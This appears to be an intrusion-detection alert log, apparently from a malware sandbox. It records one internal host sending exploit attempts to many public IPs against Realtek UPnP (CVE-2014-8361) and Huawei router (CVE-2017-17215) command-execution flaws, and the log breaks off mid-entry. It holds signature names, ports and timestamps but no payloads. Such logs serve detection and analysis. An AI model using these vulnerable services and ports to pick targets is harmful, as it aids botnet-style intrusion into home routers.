ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.198.46.124

Timestamp:	07/20/24-23:02:09.321968
SID:	2027339
Source Port:	43566
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.22.90.90

Timestamp:	07/20/24-23:01:03.077930
SID:	2027339
Source Port:	42130
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 186.129.147.154

Timestamp:	07/20/24-23:01:41.299284
SID:	2025132
Source Port:	39404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.251.206.76

Timestamp:	07/20/24-23:00:59.194576
SID:	2829579
Source Port:	58804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.184.161.191

Timestamp:	07/20/24-23:01:42.751824
SID:	2027339
Source Port:	44208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 213.139.230.45

Timestamp:	07/20/24-23:01:47.951292
SID:	2831300
Source Port:	54036
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.13.28.171

Timestamp:	07/20/24-23:01:43.528108
SID:	2027339
Source Port:	51436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 180.65.88.44

Timestamp:	07/20/24-23:01:50.807258
SID:	2025132
Source Port:	35422
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.61.104.107

Timestamp:	07/20/24-23:01:24.944299
SID:	2835222
Source Port:	37422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 46.134.86.41

Timestamp:	07/20/24-23:01:47.354421
SID:	2831300
Source Port:	60566
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 107.238.169.17

Timestamp:	07/20/24-23:01:50.949008
SID:	2025132
Source Port:	60078
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 62.0.251.178

Timestamp:	07/20/24-23:01:41.478929
SID:	2025132
Source Port:	48268
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 9.120.239.102

Timestamp:	07/20/24-23:01:02.046626
SID:	2835222
Source Port:	36256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.122.229.51

Timestamp:	07/20/24-23:01:42.979245
SID:	2025132
Source Port:	33440
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 147.248.255.23

Timestamp:	07/20/24-23:01:47.193367
SID:	2025132
Source Port:	42084
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 130.218.184.181

Timestamp:	07/20/24-23:01:47.918473
SID:	2025132
Source Port:	38286
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 198.12.218.135

Timestamp:	07/20/24-23:01:52.305893
SID:	2027339
Source Port:	40326
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.127.202.249

Timestamp:	07/20/24-23:00:57.221564
SID:	2835222
Source Port:	33418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.205.157.48

Timestamp:	07/20/24-23:01:14.097795
SID:	2835222
Source Port:	47320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.211.68.86

Timestamp:	07/20/24-23:01:40.286738
SID:	2829579
Source Port:	54404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.6.78.78

Timestamp:	07/20/24-23:01:54.104766
SID:	2027339
Source Port:	44562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.28.100.8

Timestamp:	07/20/24-23:01:20.144672
SID:	2829579
Source Port:	54608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 47.97.62.221

Timestamp:	07/20/24-23:01:55.863393
SID:	2831300
Source Port:	48716
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.126.99.183

Timestamp:	07/20/24-23:01:43.443111
SID:	2027339
Source Port:	50606
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.245.92.167

Timestamp:	07/20/24-23:01:41.228794
SID:	2027339
Source Port:	33084
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.161.254.133

Timestamp:	07/20/24-23:01:42.147980
SID:	2027339
Source Port:	47972
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.114.224.236

Timestamp:	07/20/24-23:01:44.765093
SID:	2027339
Source Port:	33644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 221.47.181.83

Timestamp:	07/20/24-23:02:20.433034
SID:	2025132
Source Port:	36142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.216.216.160

Timestamp:	07/20/24-23:01:43.141970
SID:	2027339
Source Port:	48684
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 163.245.29.116

Timestamp:	07/20/24-23:01:59.593869
SID:	2025132
Source Port:	59884
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.176.211.200

Timestamp:	07/20/24-23:01:42.778817
SID:	2027339
Source Port:	46836
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 143.197.81.99

Timestamp:	07/20/24-23:01:10.406934
SID:	2835222
Source Port:	55706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 97.254.137.62

Timestamp:	07/20/24-23:01:46.955966
SID:	2025132
Source Port:	35814
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 39.135.72.98

Timestamp:	07/20/24-23:02:04.640460
SID:	2025132
Source Port:	40204
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 74.116.148.181

Timestamp:	07/20/24-23:01:08.613165
SID:	2831300
Source Port:	52470
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.32.95.217

Timestamp:	07/20/24-23:01:47.532849
SID:	2027339
Source Port:	32992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 175.210.141.95

Timestamp:	07/20/24-23:01:52.701293
SID:	2831300
Source Port:	53396
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.241.253.254

Timestamp:	07/20/24-23:01:34.048618
SID:	2835222
Source Port:	58204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.255.33.143

Timestamp:	07/20/24-23:01:59.043868
SID:	2027339
Source Port:	41608
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 115.225.187.157

Timestamp:	07/20/24-23:01:04.798513
SID:	2025132
Source Port:	47786
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.246.197.66

Timestamp:	07/20/24-23:01:53.775275
SID:	2027339
Source Port:	58484
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.215.4.32

Timestamp:	07/20/24-23:01:13.331592
SID:	2025132
Source Port:	56494
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.76.203.13

Timestamp:	07/20/24-23:00:57.221017
SID:	2835222
Source Port:	34536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.33.144.77

Timestamp:	07/20/24-23:01:08.574948
SID:	2027339
Source Port:	43308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 88.171.168.15

Timestamp:	07/20/24-23:01:42.509003
SID:	2027339
Source Port:	48078
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.238.40.139

Timestamp:	07/20/24-23:01:24.885895
SID:	2829579
Source Port:	49634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.221.226.157

Timestamp:	07/20/24-23:01:40.290003
SID:	2829579
Source Port:	55552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 181.63.38.118

Timestamp:	07/20/24-23:02:04.476708
SID:	2027339
Source Port:	55616
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 70.183.86.6

Timestamp:	07/20/24-23:01:59.063098
SID:	2831300
Source Port:	55714
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.231.152.31

Timestamp:	07/20/24-23:01:04.031511
SID:	2835222
Source Port:	35524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 150.154.154.148

Timestamp:	07/20/24-23:01:11.634077
SID:	2835222
Source Port:	43372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.29.184.117

Timestamp:	07/20/24-23:01:47.604425
SID:	2027339
Source Port:	37388
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 72.2.201.225

Timestamp:	07/20/24-23:01:49.810143
SID:	2027339
Source Port:	32836
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.243.101.70

Timestamp:	07/20/24-23:01:53.484243
SID:	2027339
Source Port:	59706
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.16.40.52

Timestamp:	07/20/24-23:01:31.974656
SID:	2835222
Source Port:	55358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 85.146.42.42

Timestamp:	07/20/24-23:01:42.718643
SID:	2025132
Source Port:	58412
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 178.242.0.237

Timestamp:	07/20/24-23:01:45.144955
SID:	2025132
Source Port:	33272
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.232.226.131

Timestamp:	07/20/24-23:01:44.670958
SID:	2027339
Source Port:	42826
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.159.149.17

Timestamp:	07/20/24-23:01:42.115778
SID:	2027339
Source Port:	46138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.192.76.252

Timestamp:	07/20/24-23:02:04.022244
SID:	2027339
Source Port:	48646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.208.78.115

Timestamp:	07/20/24-23:01:11.642449
SID:	2829579
Source Port:	55946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.38.32.209

Timestamp:	07/20/24-23:01:24.589249
SID:	2027339
Source Port:	44726
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 193.14.204.18

Timestamp:	07/20/24-23:01:08.575986
SID:	2831300
Source Port:	43452
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 27.236.237.70

Timestamp:	07/20/24-23:01:55.125263
SID:	2831300
Source Port:	55758
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.136.49.118

Timestamp:	07/20/24-23:02:48.447183
SID:	2027339
Source Port:	51008
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.202.167.253

Timestamp:	07/20/24-23:01:59.296959
SID:	2027339
Source Port:	58156
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.132.243.55

Timestamp:	07/20/24-23:01:00.633642
SID:	2829579
Source Port:	35680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 194.155.182.26

Timestamp:	07/20/24-23:01:44.203130
SID:	2027339
Source Port:	59938
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 135.97.77.234

Timestamp:	07/20/24-23:01:43.014738
SID:	2025132
Source Port:	60576
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 50.123.92.219

Timestamp:	07/20/24-23:01:45.179680
SID:	2025132
Source Port:	58360
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 151.9.73.188

Timestamp:	07/20/24-23:02:08.171169
SID:	2025132
Source Port:	48478
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.182.173.35

Timestamp:	07/20/24-23:01:46.808111
SID:	2027339
Source Port:	47348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.6.211.62

Timestamp:	07/20/24-23:01:53.041672
SID:	2027339
Source Port:	39352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.46.67.74

Timestamp:	07/20/24-23:01:05.141553
SID:	2027339
Source Port:	35296
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.76.92.180

Timestamp:	07/20/24-23:01:42.662837
SID:	2027339
Source Port:	55922
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.183.176.41

Timestamp:	07/20/24-23:01:24.498942
SID:	2027339
Source Port:	42546
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 149.8.44.5

Timestamp:	07/20/24-23:01:51.016560
SID:	2027339
Source Port:	44112
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 174.110.120.103

Timestamp:	07/20/24-23:01:54.947006
SID:	2025132
Source Port:	48404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.196.109.144

Timestamp:	07/20/24-23:01:55.897722
SID:	2027339
Source Port:	57438
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 161.25.16.6

Timestamp:	07/20/24-23:01:46.319020
SID:	2831300
Source Port:	44376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.28.183.134

Timestamp:	07/20/24-23:01:02.223897
SID:	2027339
Source Port:	57776
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.181.179.103

Timestamp:	07/20/24-23:01:04.779951
SID:	2027339
Source Port:	37504
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 176.229.44.248

Timestamp:	07/20/24-23:01:01.500174
SID:	2025132
Source Port:	54970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 70.132.198.251

Timestamp:	07/20/24-23:01:06.994337
SID:	2829579
Source Port:	37978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 93.78.34.12

Timestamp:	07/20/24-23:01:42.778303
SID:	2831300
Source Port:	38944
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 68.46.168.107

Timestamp:	07/20/24-23:01:08.652877
SID:	2831300
Source Port:	37552
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 202.114.113.132

Timestamp:	07/20/24-23:01:20.113254
SID:	2835222
Source Port:	56802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.111.30.226

Timestamp:	07/20/24-23:01:44.680845
SID:	2027339
Source Port:	37798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.13.41.148

Timestamp:	07/20/24-23:01:48.965786
SID:	2027339
Source Port:	56564
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 115.85.103.199

Timestamp:	07/20/24-23:01:21.923917
SID:	2829579
Source Port:	32936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 5.252.81.48

Timestamp:	07/20/24-23:01:57.111220
SID:	2831300
Source Port:	49062
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.4.55.11

Timestamp:	07/20/24-23:02:04.476708
SID:	2027339
Source Port:	40524
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.165.17.202

Timestamp:	07/20/24-23:01:42.935667
SID:	2027339
Source Port:	33366
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 20.176.201.90

Timestamp:	07/20/24-23:01:57.914113
SID:	2025132
Source Port:	36066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.174.225.184

Timestamp:	07/20/24-23:01:08.572197
SID:	2027339
Source Port:	41398
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 5.207.112.150

Timestamp:	07/20/24-23:01:31.314906
SID:	2831300
Source Port:	57786
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.37.97.174

Timestamp:	07/20/24-23:01:40.334933
SID:	2829579
Source Port:	35134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 36.18.145.215

Timestamp:	07/20/24-23:01:44.158709
SID:	2831300
Source Port:	38834
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 138.82.75.1

Timestamp:	07/20/24-23:01:57.476832
